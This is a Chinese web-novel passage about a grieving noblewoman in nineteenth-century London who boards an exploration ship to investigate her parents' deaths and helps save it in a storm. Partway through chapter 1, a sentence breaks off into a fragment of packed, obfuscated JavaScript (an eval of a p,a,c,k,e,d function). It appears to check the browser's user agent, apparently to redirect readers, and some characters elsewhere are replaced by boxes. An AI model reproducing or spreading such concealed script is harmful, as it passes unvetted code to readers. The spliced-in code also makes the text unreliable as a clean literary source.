《大小姐的航海训犬日志》 1. 厄运小姐 十九世纪的伦敦,天空永远是灰白色,湿冷的空气沉甸甸地压着,像随时要拧出雨来。 珀金斯庄园在这片阴郁的天幕下,肃穆得如同一座巨大的黑色礁石。 这座位于伦敦市日不落大道西侧的贵族庄园,主宅百叶窗被永久性钉死,冰冷的铁艺栅栏系满了黑丝绒结。 于霜立在大门前,丧帽垂纱掩住她龟裂的唇——像一尊被抽空灵魂的瓷偶,机械地重复: “里面请,伯爵夫人。” “里面请……” “亲爱的!”梅丽莎温热的手捧住她冰凉的脸,哽咽道,“你看糟透了!睫毛膏都晕了……这一点儿都不像你!” 于霜试图微笑,泪却先一步重重地砸在对方掌心:“梅丽莎……他们承诺过…这次回来教我跳华尔兹的。” 那柄从不离身的银质手杖伞,此刻被她紧紧攥着。 梅丽莎的眼泪也跟着涌出来,她太熟悉这个好友平日里的光彩照人,与此刻的破碎判若两人。 “你得撑住,亲爱的,你需要休息,你这样下去会垮掉的!” “我真的没事……”于霜挤出一个极其勉强的笑容,轻轻挣脱好友的手,手杖伞尖无声地点在冰冷的大理石地面上,“该去教堂了,葬礼……不能迟到。” “可……”梅丽莎还没来得及多说些什么,就被匆匆赶来的男人打断。 “西蒙!!快点过来,不能让宾客们等着……哦,乔伊斯小姐,您也快进去吧。” 来的人正是于霜的叔叔——佩德克.珀金斯。 他一身深灰色高定礼服,手杖被银灰色绸带包裹着,袖口上缀着窄窄的黑纱,低调的玛瑙袖扣闪着幽光。 佩德克的银杖头叩响地砖:“国王特使已入席——” “嗯。”于霜点点头,提起沉重的黑色裙裾,伞柄无声地支撑着她,向教堂深处走去。 - 威斯敏斯特教堂的彩窗被黑幔遮盖,管风琴轰鸣《最后审判日》,哀乐中混着佩德克叔叔手杖叩地的“咔哒”声。 牧师念着早已写好的悼词:“Inmanustuas,Domine...…(主啊,我将灵魂交在你手)……让我们铭记珀金斯爵士夫妇的三桅帆船‘亚当斯号’——它从未悬挂私掠旗,货舱永远为受困船只留一吨淡水和腌牛肉——愿天使引领你们穿越‘最后的合恩角’,抵达上帝应许的无风带……” 台下压抑的啜泣声此起彼伏。 于霜的目光死死钉在祭台中央那两具覆盖着家族旗帜的棺木上,滚烫的泪水再次模糊了视线。 “……下面,请珀金斯爵士的弟弟,佩德克.珀金斯先生为我们发表悼词——” 稀稀拉拉的掌声中,佩德克手杖尖轻点台阶,稳步登台。 他抬手,用一方雪白的丝帕极其克制地沾了沾眼角,半跪在棺材旁,玛瑙袖扣反光刺向棺木:“……我以珀金斯家族‘血帆纹章’起誓——我,佩德克.珀金斯,将作为‘未亡舰队的领航员’,坚持我哥哥的遗愿,愿他们安息……” 他又展开羊皮卷,香水味混着腐海藻味在场内弥漫:“这里是哥哥交给我的遗嘱……家族航业由‘最忠诚的血亲’继承……‘七海罗盘’交由我保存,直到西蒙,也就是珀金斯小姐成婚……” 葬礼终于结束。于霜只想尽快逃离这片令人窒息的悲伤泥沼,一群身着华服的夫人小姐却在此刻都围了上来。 “哦,西蒙,你的父母……都是那么善良高尚的人。”伯爵夫人理了理于霜的衣襟,语气充满怜悯。 于霜的指尖在宽大丧服的袖笼里深深掐进掌心,留下青紫的月牙痕,面上却维持着得体的弧度,对伯爵夫人微微颔首。 “请节哀,珀金斯小姐,我们都在你身边。” “谢谢大家……”于霜声音温顺而疲惫。 “天啊,可怜的孩子,快去休息吧,失去双亲的噩耗一定耗尽了你所有的力气……她才多大啊!这样的打击,上帝啊……” - 房门紧闭的刹那,于霜背靠门滑坐在地,压抑的呜咽终于决堤。 “爸爸…妈妈…你们说好看极光…骗子…回来…我什么都不要了…” 突然! “砰——!” 一声沉闷的重击狠狠砸在厚重的琉璃窗上,一只灰白色的信鸽瘫在窗台,它小小的身体剧烈抽搐,暗红的血沫从嘴边渗出。 沾血的玻璃窗上,清晰地倒映出楼下阴影里一个戴着压低三角帽的模糊身影。 于霜的心脏骤然缩紧,她猛地弹起扑向窗户锁扣,就在指尖即将触碰到插销的刹那—— 第二只灰鸽如炮弹般撞碎了玻璃。 于霜瞬间蜷身滚进厚重的天鹅绒窗帘之后,屏住呼吸,透过缝隙死死盯住楼下。 三角帽男人警觉环顾,迅速消失在雾中。 是谁?! 恐惧和疑惑如同冰冷的藤蔓缠上心脏。但她无暇细究,冲到窗边,颤抖着捧起那只还在微弱抽搐的灰鸽。 温热又粘稠的血液浸湿了她的手套,淌过鸽子纤细爪间紧箍的铜环。 一个小小的、被血染红的牛皮纸卷,从铜环内的密筒中滑落出来。 于霜迅速展开纸卷—— 三张空白的牛皮纸,在昏暗的光线下显得莫名诡异。 她正疑惑,牛皮纸却沾到鸽血处,浮凸起了冰晶纹路,指腹摩挲几下后,角落绽出雪花徽记,于霜的瞳孔骤然收缩—— 是母亲戒指内侧的家族密纹! 不等她思考,敲门声骤响。 “咚咚。” “谁?”于霜的声音竭力平稳。 “西蒙,是我,什么东西碎了?我听到了很大的动静。” 于霜的目光飞快扫过地上的碎玻璃、血渍和濒死的鸽子。 电光火石间,她迅速撕开衬裙缎带裹住鸽尸塞进壁炉灰匣,又用馥郁晚香玉盖住血腥味,推倒香粉罐盖血迹。 她稳住自己疯狂跳动的心,声音带着一丝的懊恼和沙哑:“没什么,叔叔……是我摔碎了我的威尼斯花瓶,抱歉……” “哦,可怜的孩子,别放在心上,让女仆打扫一下就好了。”佩德克的声音隔着门板传来,带着一贯的温和,“我得去觐见斯密斯将军与女皇陛下,三四天回来。你一个人在家,一定要照顾好自己。” “嗯,我知道了,叔叔,我会的,需要我整理父母的遗物吗?”于霜问。 “不必!”佩德克的声音立刻响起,快得几乎突兀,随即又放缓了语调,“牧师会把哥哥的航海日志给你。其他的……琐碎事务,我来就好。” “……辛苦叔叔了。”于霜垂下眼帘,听着门外远去的脚步声,手无意识地抚上腰间。 - 泰晤士河下游的晨雾还未散去,伦敦港却已经喧嚣沸腾。 四轮出租马车的轮子在“金锚”当铺肮脏的石阶前戛然而止,于霜裹着象牙白绸缎长裙钻出车厢。 一枚闪亮的先令弹入车夫粗糙的手心。 “劳驾,看好行李。”她声音清脆,带着不容置疑的命令,下巴微扬,仿佛吩咐的是自家仆人。 推开当铺门,混合着灰尘、旧木头、廉价烟草的陈旧霉味扑面而来。 她精致的眉头厌恶地蹙起,指尖下意识轻捂住口鼻。 柜台后,老掌柜科恩浑浊的眼珠粘上她华贵的衣料。 于霜没给他开口的机会,葱白的手指利落地解下颈间那条沉甸甸的祖母绿项链——硕大的宝石在昏暗室内流转着几近墨绿的幽光,纯净得没有一丝杂质。 “估价。”项链“嗒”地一声按在油腻的柜台上。 科恩布满了老人斑的手急切地捧起项链,浑浊的眼珠贪婪地打量。 “唔…成色尚可,”他拖长了调子,指尖挑剔地摩挲着宝石,“可惜是老式的玫瑰切,不够亮火……如今伦敦的太太小姐们都爱新式的明亮式切了。而且,这镶嵌的黄金……”他摇摇头,带着刻意的惋惜,“太厚重,不够精巧。这行情嘛……” “行情?”于霜毫不客气地打断他,声音不高,却大破了这沉闷的空气。 她那双一直带着点不耐烦的鎏金色眼眸,此刻锐利地锁定了掌柜,嘴角勾起一丝近乎嘲讽的弧度。 “‘尚可’?科恩先生,睁开您被烟草熏坏的眼睛看清楚。”她的指尖精准地点向那颗深邃的祖母绿,“这‘老式’的玫瑰切,是两百年前威尼斯大师的手笔,每一瓣斜面都是为了最大限度捕捉烛火而非阳光的辉芒——您觉得威斯敏斯特厅的晚宴需要阳光吗?至于成色,”她的语速加快,“这是穆佐矿坑鼎盛时期最顶级的‘老坑玻璃种’,比您柜子里那些新大陆来的、满是羽裂和气泡的货色纯净一百倍!伦敦?哈,上个月邦德街杜邦家的拍卖会上,一颗个头只有它一半、颜色淡得像池塘水的石头,拍出了一千八百镑!” 她微微倾身,昂贵的绸缎擦过脏污的柜台边缘也浑然不觉,那双眼睛灼灼逼人:“现在,告诉我‘行情’。我要两千英镑,换成旧币,一个子儿也不能少。” 她的指关节轻轻敲了敲柜台上那枚价值连城的祖母绿,声音异常平静,却带着风暴来临前的压力。 科恩掌柜的喉结艰难地滚动了一下,他哆嗦着数出两千英镑的旧币,钱袋被于霜一把抓过。 “科恩先生,”她将钱袋稳稳握在手中,声音压低,带着一种不容拒绝的交易意味。 “我再出100英镑,告诉我那艘探险船——诺尔尼斯号的位置。” - 得到位置,于霜几乎是小跑着穿过泥泞的码头,白裙摆上溅满污点。 她气喘吁吁地踏上连接诺尔尼斯号吱呀作响的跳板,钱袋在手中沉甸甸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于霜一直紧握银伞的手快如闪电,手腕一抖,纤细却坚韧的伞尖带着一道冰冷的寒光,精准无比地抵住了男人喉咙下方一寸的致命位置。 伞尖传来的细微压力,他能清晰地感受到那金属的冰冷和坚硬。 “要么,收下钱,”于霜的声音低得如同耳语,却带着令人胆寒的威胁,眸子死死锁住男人,手腕微微向前递进半分,“要么,试试看是我的‘厄运’先降临,还是你的喉咙先被戳个洞?” “你们在干什么——!” 一声中气十足的怒吼传来。 一位胡子花白却精神矍铄、衣襟上别着航海士徽章的老人快步冲上甲板。 是船长。 “好孩子,放下……武器。”老船长喘着气,目光在于霜的伞尖和江熠紧绷的脸上快速扫过,“有话好好说!怎么回事?” “您是船长?”于霜并未立刻收回伞尖,只是冷哼一声,声音清晰有力,“您的船员说我是厄运,可根据王国《商船登记法案》第17条,及《海事贸易通行条例》,没有任何条款禁止女性以乘客或货主身份登临商船,而且我付了三倍价格。” 船长扫视一眼散落在甲板上的金币,又看了看剑拔弩张的两人,大手一挥:“行了,既然你付了钱,也懂规矩,那就上船!贝利他……”他瞥了一眼脸色铁青的江熠,“他在南洋那些鬼地方跑船的年头太长了,有些规矩刻进了骨头里,迷信得很,你别往心里去。” 江熠眼神阴沉得能滴出水,猛地从怀中贴身口袋抽出一本发黄卷边的航海日志,“撕啦”一声,粗暴地撕下一页空白纸,紧接着,他反手从后腰拔出一柄寒光闪闪的匕首,狠狠扎在于霜脚边的甲板上,刀柄兀自嗡嗡地颤动着。 “签。”他声音冷硬如铁,不容置疑,“签生死状,写明自愿登船,途中一切意外、疾病、海难、或被风暴卷走喂鱼喂鲨,都与船无关,生死由命。” 于霜看着那在海风中抖动的纸张和摇晃的匕首,嘴角勾起一个充满讽刺的弧度。她没有丝毫犹豫,弯腰,从容不迫地握住那冰冷的刀柄,用力一拔,全然无视周围倒吸冷气的声音。 然后,她用指尖蘸了蘸匕首锋刃上不知何时沾染的一点污黑油渍,在纸上飞快地签下自己的名字。 “西蒙.珀金斯。” 她直起身,手腕一甩,将那柄匕首随意地、带着点轻蔑地丢还给江熠。匕首在空中划过一道冷光,被江熠稳稳接住。 于霜目光扫过那张墨迹未干的生死状,最后落在江熠近乎纯正的墨黑的眼眸上。 她深吸了一口气,这才缓缓开口,声音带着一丝因疲惫而显得格外尖锐的玩味: “签我的生死状?”她看着江熠,那眼神仿佛在打量一件有趣却危险的物品, “看来,可比签你的卖身契快多了……贝利先生。” 2. 麻烦包裹 诺尔尼斯号的橡木门在于霜身后沉重合拢,隔绝了甲板上咸腥的风和海浪的喧嚣,也隔绝了那些或鄙夷、或好奇、或纯粹恶意的目光。 狭小的舱室弥漫着陈年木料、劣质焦油和一丝不易察觉的霉味。唯一的舷窗被厚重的防水帘遮得严严实实,光线昏暗。 江熠高大的身影堵在门口,几乎占据了整个门框。 他刚接过于霜签下的生死状,那张沾染油污的粗糙纸张被他随意地卷起,塞进紧贴胸口的衣袋。 而后,他将于霜的行李往地上一放,深不见底的墨黑眼眸扫过女人苍白却依旧挺直的脊背,最后落在她紧握着银手杖伞的手上。 “你的‘登船位’只包括这间舱室和通往餐厅的走廊,”他的声音毫无波澜,冷硬得至极,“甲板、货舱、桅杆区、舵轮室……任何你不该出现的地方,一步都不准踏足。”他刻意停顿,目光如冰冷的探针,“尤其是我的领航台。” 于霜缓缓转过身,鎏金色的眸子迎上他审视的目光,嘴角勾起一丝极淡的、近乎虚弱的嘲讽:“贝利先生,看来我的两千英镑,只买到了一个……高级囚笼?” “是‘麻烦’的包裹该待的地方。”江熠毫不客气地纠正,语气里是毫不掩饰的厌烦,“记住我的话。船上没人会伺候你这位‘贵族小姐’,别添乱,就是对我们最大的仁慈。”他不再多言,转身,“砰”地一声关上了门。 沉重的落锁声清晰地传来——他竟从外面锁上了门? “你个混蛋!”于霜拧了拧把手,但剧烈的疲惫、晕船的不适和失去双亲的钝痛交织着翻涌上来。 她背靠着冰冷的舱壁滑坐在地,额头抵着屈起的膝盖,肩膀无声地颤抖。 仅仅几息之后,她却猛地抬起头,用力抹去眼角未干的湿意。 “哭有什么用,西蒙·珀金斯。”她低声自语,声音沙哑却带着一种狠劲,“你得……活下去,弄明白一切。” - 于霜翻出佩德克叔叔口中的“牧师送来的航海日志”。 解开油布,里面是一本厚重的、封面用深褐色牛皮包裹的日志本。 皮革上烙着珀金斯家族的血帆纹章,边角已被摩挲得发亮,散发着陈旧纸张、墨水和父亲身上特有的红玫瑰香与淡淡烟草混合的气息。 她的指尖颤抖着抚过封面,深吸一口气,才小心翼翼地翻开。 扉页上是父亲刚劲有力的字迹:“亚当斯号航行志——罗伊.珀金斯船长”。 日志里密密麻麻记载着经纬度、风向风速、洋流观测、遇到的船只、补给港口、甚至船员趣事。 那些熟悉的笔迹,那些详尽的数据,仿佛父亲低沉的声音就在耳边,讲述着星辰大海的故事。 泪水再次模糊了视线,但她强迫自己看下去。这不是沉溺悲伤的时候。 她迅速翻到日志的最后几页——记载着父母最后那次航行的起点。 记录依旧专业严谨,直到最后一条:“……航向合恩角,顺风,一切正常。期待归程与西蒙共舞。” 日期正是他们失联前三天。 没有任何异常。 于霜心一沉——难道真的只是意外? 不对! 她猛地想起那三张染血的空白牛皮纸!小心翼翼地从贴身口袋取出,在昏暗的光线下展开。 纸张依旧空白,唯有右下角那个微小的雪花密纹,如同冰晶般静静烙印。 她将牛皮纸凑近舷窗缝隙透入的微弱天光——就像父母在她小时候爱和她玩的解密游戏一样。 变换角度……没有变化。 沾水……没有反应。 她甚至尝试用指甲在雪花纹路上轻轻刮擦……依然如故。 “到底需要什么……”于霜喃喃自语,又迅速翻动父亲的航海日志,寻找着任何可能与“雪花”、“冰晶”、“密文”相关的记录或符号。 日志里充满了各种航海符号和简图,但似乎没有直接关联。 “怎么可能没有呢?”于霜有些疲软地仰头靠在椅子上。 就在这时—— 锁孔传来钥匙转动的声音,清脆地打破了压抑的寂静。 门被推开,一个高大的身影逆着走廊昏暗的光线站在门口,手里端着一个冒着热气的锡盘。 于霜警惕地抬头,瞬间绷紧了身体。但来人并非江熠。 是威廉.派克.金船长。 他花白的胡子修剪得整齐,饱经风霜的脸上刻着深深的皱纹,但那双鹰隼般的眼睛却锐利依旧,此刻正温和地注视着她,带着一种长辈的关切和难以掩饰的悲伤。 “孩子,”威廉船长的声音低沉而沙哑,却奇异地带着暖意,“饿了吧?老汤姆特意给你留了热汤和面包。” 他走进来,将锡盘放在唯一的小桌上,目光扫过她苍白的脸和地上摊开的银伞,眉头微蹙。 于霜看着他,没有立刻回应。船长亲自来送饭?还叫她“孩子”? “那是罗伊的日志吧?”他轻声问,语气带着怀念,“他总爱在第一页画个滑稽的小鲸鱼…翻开来看看?” 于霜心头一震,依言小心翻开第一页。果然,在日志的右下角,用炭笔勾勒着一只喷着水柱、圆滚滚的卡通鲸鱼,旁边还歪歪扭扭写着“送给我的小西蒙,愿大海永远带给你惊喜”。 眼泪毫无征兆地涌上眼眶。这个细节,只有最亲近的人才知道。 威廉船长宽厚的手掌轻轻按在于霜颤抖的肩上,那掌心粗糙而温暖。“我叫威廉.派克.金,你父亲罗伊和你母亲奥德丽,是我在海上漂泊半生,最信任的老伙计和至交好友。”他的声音充满了真挚的怀念,“看着你,就像看到他们年轻时的样子…尤其是这双眼睛,像极了奥德丽。” 他指了指门锁:“贝利那小子……脾气臭得像块礁石,可规矩是死的,心未必是坏的,他得为整船人负责。这门锁,我解了。以后想去餐厅透透气,尽管去。但甲板、货舱、领航台这些地方,” 他语气严肃了些,“风高浪急,确实危险,非必要别去。有什么难处,直接找我,或者找厨子老汤姆。” 一股暖流混着酸楚涌过于霜心头。这份来自父亲故友的真切关怀,像一道微光刺破了冰冷的囚笼。 她哽噎着低声道:“谢谢您,威廉船长。” “傻孩子,叫我老威廉就行,你父亲就这么叫。”威廉船长笑了笑,眼角皱纹舒展,“快趁热吃。大海是疗伤的地方,也是需要力量的地方。” 他拍了拍她的肩膀,转身准备离开,又停住脚步,回头看着她紧握的日志,“在看你父亲的记录?他是个天才,也是个用命在记录大海的疯子。他的日志,比任何教科书都珍贵。” - 接下来的两天,她大部分时间都沉浸在日志浩瀚的信息中。 每天固定去小餐厅两次,领取简单的餐食。 餐厅里气氛沉闷,船员们对她这个突兀的存在依旧投来或好奇、或探究、或毫不掩饰的排斥目光。 她沉默地取餐,沉默地坐在角落,默默观察着周围的一切,耳朵捕捉着船员们零星的交谈——关于风向的变化、航线的微调、某个部件的保养。 同时,在往返于舱室和餐厅那条不算长的走廊里,透过布满盐渍的舷窗,她也在观察着诺尔尼斯号在起伏海面上的姿态。 第三天中午,当于霜裹着一件朴素的深色羊毛斗篷,踏入狭窄、弥漫着劣质烟草和食物酸腐气味的船员小餐厅时,原本喧嚣嘈杂的声音瞬间低了下去。 一个满脸通红、身材粗壮的水手故意将一只沉重的橡木啤酒杯“哐当”一声砸在她面前的桌子上,浑浊的酒液溅湿了她的斗篷下摆。 “哟,这不是我们尊贵的‘厄运’小姐嘛?”他咧着嘴,露出黄黑的牙齿,“怎么?金丝笼待腻了,出来透透气?小心点!海上晃得厉害,可别把您那金贵的汤洒了,再怪罪是我们这些粗人撞的!”周围响起几声附和的、不怀好意的低笑。 于霜停下脚步,目光平静地扫过溅湿的衣角,然后缓缓抬起,落在那个水手脸上。 她没有动怒,甚至露出一丝极淡的微笑,那笑容里没有温度,只有一种居高临下的审视。 “布莱克,”她准确地叫出了这个水手的名字——几天来,她并非只待在房间,而是在有限的活动里默默观 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“另外,”于霜的目光扫过餐厅角落堆放的几捆备用缆绳,“右舷那捆备用主帆控索,我建议你们在风暴来临前检查一下。别等到需要它救命时,发现它像烂布条一样脆弱。”她轻描淡写地抛下这句,仿佛在谈论天气。 餐厅里的气氛彻底变了。窃窃私语声响起,带着震惊和重新评估的意味。 就在这时,一个高大的阴影笼罩在于霜身侧。 江熠不知何时出现在餐厅门口,显然听到了后半段话。 他脸色依旧冷漠,但那双深黑的眼眸深处,翻涌着比之前更复杂的情绪——不仅仅是厌烦,更添了一层被打扰节奏的愠怒和一丝被冒犯专业领域的冰冷警告。 他无视了涨红脸的布莱克和其他船员,径直走到于霜面前,高大的身躯带来强烈的压迫感。 “看来,珀金斯小姐的‘观察力’和‘知识’,都相当了得。”他的声音压得很低,只有于霜能听清,像冰冷的刀锋刮过耳膜,“但是,记住我的话——收起你那些‘贵族式’的指手画脚。船上的一切自有规矩。自作聪明,比无知更危险。管好你自己,否则……”他没有说完,但那未尽的威胁和眼中冰冷的寒意,比任何语言都更具压迫力。 于霜毫不退缩地迎视着他,鎏金色的眼眸里没有丝毫惧意:“多谢提醒,贝利先生。” 她的声音同样平静无波,“我只是……不想在风暴来临的时候,跟着一群蠢货一起葬身鱼腹。” 江熠的下颌线骤然绷紧,他猛地转身,带着一身低气压大步离开餐厅。 于霜站在原地,感受着周围船员们复杂的目光和江熠离去时带起的冷风。 她端起那份早已冷掉的食物,找了个角落坐下,慢条斯理地吃着,仿佛刚才的冲突从未发生。 - 在一次与威廉船长在走廊的偶遇中,她提出了疑问:“老威廉,诺尔尼斯号右满舵时,船尾下沉似乎…过于明显?复原也比‘海燕号’慢?” 威廉船长眼中闪过赞许:“不愧是罗伊的女儿!观察得细。”他压低声音,“老船了,有些旧伤,加上这批铅锭压舱…重心有点靠后。我和贝利都清楚,无伤大雅,翻不了船。”语气笃定。 “可是,”于霜想起日志里血红的教训,“若重心后移,叠加老旧压舱水系统潜在的阀门密封问题,再遇上剧烈的无规律横摇……” “孩子,”威廉船长温和但坚定地打断她,带着长辈的宽容,“诺尔尼斯号是我的老伙计,我清楚她的脾气。这点起伏,就像老水手喝多了晃两步。别担心。”他拍了拍她的肩,正好被走来的江熠看见。 江熠眼神冰冷地扫过于霜,那目光分明写着“纸上谈兵,多管闲事”。 “船长,航线需要确认。”江熠平板的声音响起,打断了谈话。 威廉船长对于霜安抚地笑笑,转身离开。 江熠临走前那深深的一瞥,充满了警告和排斥。 于霜抿紧唇。 威廉船长的自信源于经验,江熠的排斥源于成见。 但根据父亲的航海日志,诺尔尼斯号的压舱水系统,是否也隐藏着老旧阀门密封不严的隐患? 在平稳航行中或许无碍,但若是在风暴的极端压力下呢? 3. 风暴舞厅 接下来的两天,海况开始变得更加诡谲起来。 天空不再是均匀的灰色,而是堆积起厚重、边缘泛着肮脏黄褐色的低垂云层,如同吸饱了污水的棉絮沉沉地压在海面上。 阳光彻底消失,白昼也昏暗如黄昏。 风,不再是单一方向的劲吹,而是变得忽东忽西,毫无规律。 在这种无常的风中,诺尔尼斯号笨拙地调整着风帆,转向时那种船尾下沉、复原缓慢的现象更加频繁和明显。 即使是经验最丰富的老水手们,此时脸上轻松的神色也已消失。 他们紧盯着海天相接处那越来越浓重的、仿佛要吞噬一切的黄黑色□□,检查绳索和帆具的动作带着一种无声的急迫。 空气中弥漫着浓重的湿气、臭氧的微腥和一种山雨欲来的、令人汗毛倒竖的低气压。 于霜站在自己舱室那扇小小的舷窗前,掌心紧紧贴着冰冷的玻璃。 她能清晰地感受到脚下船体每一次不自然的、带着拖沓感的晃动。 每一次右满舵后船尾那令人心悸的下沉和迟缓的复原,都像重锤敲在她紧绷的神经上。 窗外,一道惨白的、无声的闪电,骤然撕裂了昏暗的天幕,短暂地照亮了那翻腾如沸水的、充满恶意的海面。 风暴,要来了。 - 铅灰色的天穹彻底塌陷。 厚重的、泛着污浊黄褐色的云层如同沸腾的巨釜,低垂得几乎要压碎诺尔尼斯号的桅杆。 阳光被彻底吞噬,白昼昏沉如末日黄昏。 小餐厅早已一片狼藉。简陋的木桌被掀翻,锡盘、木碗、食物残渣随着船体的每一次疯狂倾斜在地板上四处飞溅、滑动、撞击。 空气中弥漫着呕吐物的酸腐、海水的腥咸、湿透毛料的馊味,以及浓得化不开的、名为“恐惧”的气息。 于霜蜷缩在角落里一个相对固定的长凳下,背死死抵着冰冷的舱壁。 她脸色惨白如纸,嘴唇被咬出了血痕,胃里翻江倒海。 强烈的晕眩感如同无数只冰冷的手攥紧了她的头颅,每一次剧烈的横摇都像要把她的五脏六腑从喉咙里甩出来。 她死死捂住嘴,但那股无法抑制的恶心感还是冲破了防线—— “呕——!” 胃里仅存的一点食物残渣混合着酸水喷涌而出,溅湿了她深色的斗篷前襟和冰冷的地板。屈辱和生理上的极度不适让她浑身颤抖,冷汗浸透了里衣。 门外充斥着其他船员同样痛苦的呕吐声和压抑的、带着哭腔的祈祷或咒骂。 那个曾挑衅她的布莱克,此刻正抱着一个木桶,吐得天昏地暗,脸上只剩下纯粹的恐惧。 “上帝啊!救救我们!” “左满舵!稳住!稳住啊!” “主帆!主帆控索要断了!!” 绝望的嘶吼和指令声透过舱壁和风浪的咆哮隐隐传来,敲打着每个人的神经。 突然! “轰——咔啦啦!!!” 一声远比风浪更恐怖的、仿佛钢铁巨兽被生生撕裂的巨响从船体深处传来! 紧接着,诺尔尼斯号如同被无形的巨锤狠狠砸中船尾,猛地向左舷发生了前所未有的、超过四十五度的致命性大倾斜! “啊——!!” “船要翻了!!” 餐厅里瞬间爆发出绝望的哭嚎! 所有人都像破麻袋一样被狠狠甩向左侧舱壁,重重撞在一起! 于霜只觉得天旋地转,身体不受控制地砸在冰冷的木板上,眼前金星乱冒,骨头仿佛散了架。 冰冷的海水不知从哪个缝隙涌入,瞬间漫过了她的脚踝。 重心后移,压舱水系统失控! 父亲日志里的警告如同惊雷在她混乱的脑海中炸响。 威廉船长笃信的“翻不了船”,在复合风险的叠加引爆下,成了最残酷的笑话! “所有人!抓紧固定物!!”老水手嘶哑的吼声带着绝望。 - 甲板上早已是地狱。 狂风卷着冰冷的、如同子弹般的雨点和咸涩的海水,劈头盖脸地砸来,几乎让人无法呼吸。 能见度几乎不足十米。 巨大的浪墙带着毁灭的力量一次次冲刷着甲板,试图将一切活物卷入深渊。 江熠如同雕塑般钉在领航台边缘,全身湿透,雨水顺着棱角分明的下颌和束紧的黑发狂流。 他死死抓住湿滑的栏杆,对着传声筒嘶吼着舵令,声音被风撕扯得破碎。 “吉勒——关闭舱门——” “明白了,副船长。” 威廉船长就在他旁边,花白的胡子贴在脸上,鹰隼般的眼中此刻充满了血丝和前所未有的凝重,亲自观察着浪涌方向。 “左舷!稳住!压住!!”威廉船长的吼声带着一丝不易察觉的颤抖。 刚才那恐怖的倾斜,几乎让他心脏停跳。 经验告诉他,这绝非寻常风浪能造成的。 重心…压舱水…罗伊女儿的话…冰冷的悔意瞬间攫住了他,但现在不是想这个的时候。 “船长!副船长!!”一个水手连滚带爬地冲过来,满脸是水,分不清是雨水还是泪水,“货舱口被浪冲开了一条缝!海水在往里灌!还有……左舷中段……一根固定救生艇的钢缆……被崩断的帆给砸断了!救生艇,救生艇要被甩出去了!” 救生艇?那是风暴中最后的希望! 威廉船长和江熠脸色剧变。 货舱进水还能设法堵,救生艇若被甩飞或砸毁,在这远离航线的狂暴海域,一旦船沉,所有人必死无疑! “带人去堵货舱口!快!”威廉船长对着水手吼道,随即猛地看向江熠,“贝利!稳住舵!我去救生艇那边!” 老船长爆发出惊人的力量,抓着绳索,跌跌撞撞地冲向风雨飘摇的左舷。 江熠咬紧牙关,他知道船长去那边有多危险,但他不能离开舵位。 他只能死死盯着船长的方向,心脏如同被一只冰冷的手攥紧。 他看到威廉船长和另外两个水手艰难地靠近那艘在狂涛中如同玩具般疯狂摇摆、仅靠一根钢缆悬吊的救生艇。 断裂的钢缆如同死蛇般在甲板上抽打,另一根完好的钢缆在巨大的拉力下发出濒临断裂的呻吟。 威廉船长试图抓住那根完好的钢缆加固,但一个巨大的浪头猛地拍上左舷。 船体再次剧烈□□。 老船长脚下一滑,整个人被甩飞出去,重重撞在湿滑的舱壁上,闷哼一声,一时竟无法爬起。 那根完好的钢缆在救生艇疯狂的拖拽下,与固定环摩擦出刺眼的火花,眼看就要崩断。 “船长!!”水手绝望的呼喊淹没在风浪中。 江熠目眦欲裂,他想冲过去,但领航台离不开他,他只能眼睁睁看着那艘承载着最后希望的救生艇,即将带着老船长一起被狂暴的大海吞噬! 就在这千钧一发之际—— 一个纤细却决绝的身影,如同扑火的飞蛾,猛地从通往甲板的舱门冲了出来。 狂风瞬间撕扯开她深色的斗篷,露出里面早已被呕吐物和海水浸透、狼狈不堪的墨绿色绸裙。 她脸色惨白,脚步虚浮,剧烈的晕眩让她几乎站立不稳,但那双鎏金色的眼眸,却在昏暗暴虐的天地间,亮得惊人。 是于霜! 她不知何时挣脱了晕船的束缚,冲上了这死亡甲板。 她一眼就看清了险境:濒临断裂的钢缆、被甩飞受伤的威廉船长、摇摇欲坠的救生艇。 没有半分犹豫,她甚至无视了劈头盖脸砸来的巨浪和脚下湿滑欲倾的甲板,猛地扑向那根如同毒蛇般在甲板上抽打的断裂钢缆头。 冰冷沉重的钢缆几乎将她带倒,咸涩的海水呛入口鼻。 她咬紧牙关,用尽全身力气,试图将那沉重的断缆拖向救生艇完好的固定环方向。 但她的力量在钢铁和大海的伟力面前,渺小得可怜。 “滚回舱里去!西蒙·珀金斯!!” 一声暴怒到极致的嘶吼穿透风浪,如同惊雷炸在于霜耳边。 江熠双目赤红,死死盯着那个在死亡边缘挣扎的纤细身 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她将那韧性极佳的、浸水后反而更加柔韧强固的丝绸腰带,以一种令人眼花缭乱的、源自贵族束腰技艺的复杂手法,死死缠绕在断裂钢缆的末端和那根即将崩断的完好钢缆上。 一圈、 两圈、 三圈…… 打结、收紧、再打结! 她纤细的手指在冰冷刺骨、粗粝磨人的钢铁与湿滑丝绸间翻飞,动作快得不可思议,带着一种孤注一掷的狠劲。 就在那根完好钢缆发出最后一声绝望呻吟、即将彻底断裂的瞬间—— 于霜完成了最后一个死结。 浸透海水的名贵丝绸腰带,如同一条坚韧的救命藤蔓,死死地、暂时地,将断裂的钢缆头与那根承载着救生艇最后重量的钢缆捆缚连接在了一起。 巨大的拉力瞬间转移到丝绸束带上,发出令人牙酸的紧绷声,但它竟然真的暂时撑住了! 这短暂的、不可思议的缓冲,为旁边被撞懵的水手赢得了宝贵的几秒钟。 他们如梦初醒,嚎叫着扑上来,用能找到的一切绳索和工具,疯狂地加固、替换。 救生艇暂时稳住了! 威廉船长也被水手趁机拖到了相对安全的地方! 江熠站在领航台上,狂风暴雨将他全身浇透。 他死死盯着甲板上那个摇摇欲坠、扶着船舷剧烈干呕的纤细身影。 她华贵的绸裙破烂不堪,沾满污秽,湿漉漉的黑发贴在苍白的脸颊上,狼狈得如同被暴风雨蹂躏过的残花。 但就在刚才,她用一条丝带,在死神镰刀下,为这艘船、为老船长、为所有人,抢回了一线生机! 他墨黑的瞳孔中,翻涌着前所未有的剧烈风暴——震惊、难以置信、被打脸的难堪、被冒犯权威的怒火、以及一种连他自己都无法理解的、被那脆弱身躯里爆发出的决绝力量所撼动的悸动。 